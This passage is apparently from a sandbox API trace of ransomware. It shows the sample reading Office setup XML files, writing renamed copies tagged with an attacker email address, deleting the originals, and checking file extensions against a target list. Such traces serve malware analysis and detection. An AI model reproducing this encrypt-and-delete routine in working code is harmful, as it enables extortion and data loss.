lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.784] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.784] SetEndOfFile (hFile=0x1fc) returned 1 [0040.785] CloseHandle (hObject=0x1fc) returned 1 [0040.785] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.785] SetEndOfFile (hFile=0x1e8) returned 1 [0040.786] CloseHandle (hObject=0x1e8) returned 1 [0040.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0040.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.789] lstrlenW (lpString=".doc") returned 4 [0040.789] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.789] lstrlenW (lpString=".docx") returned 5 [0040.789] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.789] lstrlenW (lpString=".pdf") returned 4 [0040.789] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.789] lstrlenW (lpString=".xls") returned 4 [0040.789] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.789] lstrlenW (lpString=".xlsx") returned 5 [0040.789] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.789] lstrlenW (lpString=".ppt") returned 4 [0040.789] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.789] lstrlenW (lpString=".zip") returned 4 [0040.789] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.790] lstrlenW (lpString=".rar") returned 4 [0040.790] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString=".bz2") returned 4 [0040.790] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString=".7z") returned 3 [0040.790] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString=".dbf") returned 4 [0040.790] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString=".1cd") returned 4 [0040.790] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString=".jpg") returned 4 [0040.790] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString=".doc") returned 4 [0040.790] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString=".docx") returned 5 [0040.790] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.790] lstrlenW (lpString=".pdf") returned 4 [0040.790] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString=".xls") returned 4 [0040.790] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString=".xlsx") returned 5 [0040.790] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.790] lstrlenW (lpString=".ppt") returned 4 [0040.790] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.790] lstrlenW (lpString=".zip") returned 4 [0040.790] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.790] lstrlenW (lpString=".rar") returned 4 [0040.791] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.791] lstrlenW (lpString=".bz2") returned 4 [0040.791] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.791] lstrlenW (lpString=".7z") returned 3 [0040.791] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.791] lstrlenW (lpString=".dbf") returned 4 [0040.791] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.791] lstrlenW (lpString=".1cd") returned 4 [0040.791] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0040.791] lstrlenW (lpString=".jpg") returned 4 [0040.791] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.791] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.791] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0040.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.791] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1450) returned 1 [0040.791] CloseHandle (hObject=0x1e8) returned 1 [0040.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0040.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.794] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.794] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.796] GetLastError () returned 0x0 [0040.796] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0040.797] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.798] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.798] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0040.798] SetEndOfFile (hFile=0x200) returned 1 [0040.798] CloseHandle (hObject=0x200) returned 1 [0040.799] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.799] SetEndOfFile (hFile=0x1e8) returned 1 [0040.799] CloseHandle (hObject=0x1e8) returned 1 [0040.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.800] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0040.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.800] lstrlenW (lpString=".doc") returned 4 [0040.800] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.800] lstrlenW (lpString=".docx") returned 5 [0040.800] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.800] lstrlenW (lpString=".pdf") returned 4 [0040.800] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.800] lstrlenW (lpString=".xls") returned 4 [0040.800] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.800] lstrlenW (lpString=".xlsx") returned 5 [0040.800] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.800] lstrlenW (lpString=".ppt") returned 4 [0040.800] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.800] lstrlenW (lpString=".zip") returned 4 [0040.800] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.800] lstrlenW (lpString=".rar") returned 4 [0040.800] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.800] lstrlenW (lpString=".bz2") returned 4 [0040.800] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".7z") returned 3 [0040.801] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString=".dbf") returned 4 [0040.801] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString=".1cd") returned 4 [0040.801] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString=".jpg") returned 4 [0040.801] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString=".doc") returned 4 [0040.801] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".docx") returned 5 [0040.801] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.801] lstrlenW (lpString=".pdf") returned 4 [0040.801] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".xls") returned 4 [0040.801] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".xlsx") returned 5 [0040.801] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.801] lstrlenW (lpString=".ppt") returned 4 [0040.801] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.801] lstrlenW (lpString=".zip") returned 4 [0040.801] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.801] lstrlenW (lpString=".rar") returned 4 [0040.801] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".bz2") returned 4 [0040.801] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.801] lstrlenW (lpString=".7z") returned 3 [0040.802] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.802] lstrlenW (lpString=".dbf") returned 4 [0040.802] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.802] lstrlenW (lpString=".1cd") returned 4 [0040.802] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0040.802] lstrlenW (lpString=".jpg") returned 4 [0040.802] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.802] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.802] lstrlenW (lpString="SETUP.XML") returned 9 [0040.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.803] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1886) returned 1 [0040.803] CloseHandle (hObject=0x1e8) returned 1 [0040.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0040.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.803] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.803] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0040.803] GetLastError () returned 0x0 [0040.803] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x75e, lpOverlapped=0x0) returned 1 [0040.805] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x760, lpOverlapped=0x0) returned 1 [0040.805] ReadFile (in: hFile=0x1e8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.805] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.806] SetEndOfFile (hFile=0x200) returned 1 [0040.806] CloseHandle (hObject=0x200) returned 1 [0040.806] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.806] SetEndOfFile (hFile=0x1e8) returned 1 [0040.807] CloseHandle (hObject=0x1e8) returned 1 [0040.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0040.807] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0040.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString=".doc") returned 4 [0040.808] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString=".docx") returned 5 [0040.808] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.808] lstrlenW (lpString=".pdf") returned 4 [0040.808] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString=".xls") returned 4 [0040.808] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString=".xlsx") returned 5 [0040.808] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.808] lstrlenW (lpString=".ppt") returned 4 [0040.808] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString=".zip") returned 4 [0040.808] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.808] lstrlenW (lpString=".rar") returned 4 [0040.808] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString=".bz2") returned 4 [0040.808] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString=".7z") returned 3 [0040.808] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString=".dbf") returned 4 [0040.808] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString=".1cd") returned 4 [0040.808] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.808] lstrlenW (lpString=".jpg") returned 4 [0040.808] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.809] lstrlenW (lpString=".doc") returned 4 [0040.809] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".docx") returned 5 [0040.809] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.809] lstrlenW (lpString=".pdf") returned 4 [0040.809] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".xls") returned 4 [0040.809] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".xlsx") returned 5 [0040.809] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.809] lstrlenW (lpString=".ppt") returned 4 [0040.809] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.809] lstrlenW (lpString=".zip") returned 4 [0040.809] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.809] lstrlenW (lpString=".rar") returned 4 [0040.809] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".bz2") returned 4 [0040.809] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString=".7z") returned 3 [0040.809] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.809] lstrlenW (lpString=".dbf") returned 4 [0040.809] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.809] lstrlenW (lpString=".1cd") returned 4 [0040.810] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0040.810] lstrlenW (lpString=".jpg") returned 4 [0040.810] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.810] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.810] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0040.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.811] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=6421) returned 1 [0040.811] CloseHandle (hObject=0x1e8) returned 1 [0040.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0040.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0040.811] SetFilePointerEx (in: hFile=0x1e8, 